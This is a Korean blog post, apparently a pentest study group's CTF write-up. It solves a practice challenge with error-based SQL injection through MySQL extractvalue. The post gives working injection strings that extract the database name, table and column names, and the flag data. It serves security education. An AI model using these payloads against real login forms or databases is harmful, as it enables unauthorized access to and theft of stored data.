모의해킹 스터디 CTF 문제 - SQL Injection 4

2024. 12. 6. 15:38·모의해킹/모의해킹 스터디

이번 문제는 Error Based SQLi에 관한 문제이다.

SQL Injection 4


우선 알고있는 "normaltic" 계정으로 로그인 해주면

정상적으로 출력되는 것을 볼 수 있다.

 

1. SQL Injection Point

SQL Injection이 가능한지 알아보기 위해 "normaltic' and '1' = '1"을 실행해보면 정상적으로 로그인이 된다.

이를 통해 SQL Injection이 가능함을 알 수 있다.

 

그 다음 SQL Injection중 어떤 방안을 접근할 지 알아보기 위해 " normaltic' "를 실행해 보면

normaltic' 실행

SQL에러가 직접적으로 출력되는 것을 볼 수 있다. 이를 통해 Error Based SQL Injection을 활용하면된다는 것을 알 수 있다.

 

2. 에러를 출력 함수 선택

에러를 직접 추출하기 위해 'extractvalue' 함수를 사용해주겠다.

 

3. 공격 format 만들기

공격 format은 위의 정보를 바탕으로

' and extractvalue( '1', concat(0x3a, (__SQL__))) and '1' = '1


해당 구문으로 만들어 주었다.

 

4. DB명 출력

DB명 출력 구문은

' and extractvalue( '1', concat(0x3a, (select database()))) and '1' = '1


이렇게 작성하였고 출력해보면

DB명 출력

위 처럼 DB명이 출력되는것을 알 수 있다.

 

5. Table명 출력

Table명 출력 구문은

' and extractvalue( '1', concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema='테이블명'))) and '1' = '1


이렇게 작성하였고 이를 출력하면

table 출력


총 2개의 테이블이 출력되는 것을 볼 수 있다.

 

6. Column 명 출력

위에 테이블 중 'flag'와 관련된 데이블에 대한 Column명 출력 구문은

' and extractvalue( '1', concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name='테이블명'))) and '1' = '1

 

이렇게 작성하였고 이를 출력해보면

컬럼명 출력

플래그와 관련한 컬럼5개 'f'만 나온 걸럼이 1개가 출력되는 것을 알 수 있다. 이를 통에 에러 메시지에 글자수 제한이 있다는 것을 알 수 있다.

 

컬럼의 개수를 알아보기 위해

' and extractvalue( '1', concat(0x3a, (select count(column_name) from information_schema.columns where table_name='테이블명'))) and '1' = '1

해당 구문을 실행하면

 

컬럼 개수 확인

8이 나오는데 이는 컬럼개수가 총 8개 임을 알 수 있다.

 

5번째 까지의 컬럼명을 알고 있으니 6 ~ 8 까지의 컬럼명만 알아내면된다. 이를 알아내기 위해서는 limit를 사용하면 된다.

 

limit를 사용하여 출력하는 구문은

' and extractvalue( '1', concat(0x3a, (select column_name from information_schema.columns where table_name='테이블명' limit 5 ~ 7,1))) and '1' = '1

이렇게 작성하였다. 

 

6번째 컬럼명

6번째 컬럼명

 

7번째 컬럼명

7번째 컬럼명

 

8번째 컬럼명

8번째 컬럼명

 

총 8개의 컬럼 전부를 추출하였다.

 

7. DATA 출력

마지막으로 데이터를 출력하면 된다. DATA 출력 구문은

' and extractvalue( '1', concat(0x3a, (select group_concat(컬럼명) from 테이블명))) and '1' = '1

이렇게 작성하였다.

 

우선 컬럼명 천제를 group_concat에 넣어 출력해보면

컬럼 전체

글자수 제한으로 인하여 에러 구문이 끊겨져서 나오는걸 알 수 있다. 이를 해결하기 위에

  • 첫번째 컬럼 ~ 네번째 컬럼
  • 다섯번째 컬럼 ~ 여덟번째 컬럼

처럼 나눠서 출력하면

첫번째 컬럼 ~ 네번째 컬럼다섯번째 컬럼 ~ 여덟번째 컬럼

이렇게 출력이 되고 이를 합치면 플래그 값을 알아낼 수 있다.

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 8주차 정리  (0) 2024.12.10
모의해킹 스터디 CTF 문제 - SQL Injection 5  (0) 2024.12.10
모의해킹 스터디 CTF 문제 - SQL Injection 3  (0) 2024.12.04
모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)  (0) 2024.12.04
모의해킹 스터디 CTF 문제 - Error Based SQLi Basic  (0) 2024.12.04
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 8주차 정리
  • 모의해킹 스터디 CTF 문제 - SQL Injection 5
  • 모의해킹 스터디 CTF 문제 - SQL Injection 3
  • 모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    웹해킹
    상태코드
    WEB
    mysql
    burpsuite
    티스토리챌린지
    모의해킹스터디
    HttpResponse
    오블완
    웹개발
    javascript
    httprequest
    Chrome
    SQL
    메서드
    HTML
    HTTP
    Network
    hash
    php
    sqlinjection
    NAT
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - SQL Injection 4
상단으로

티스토리툴바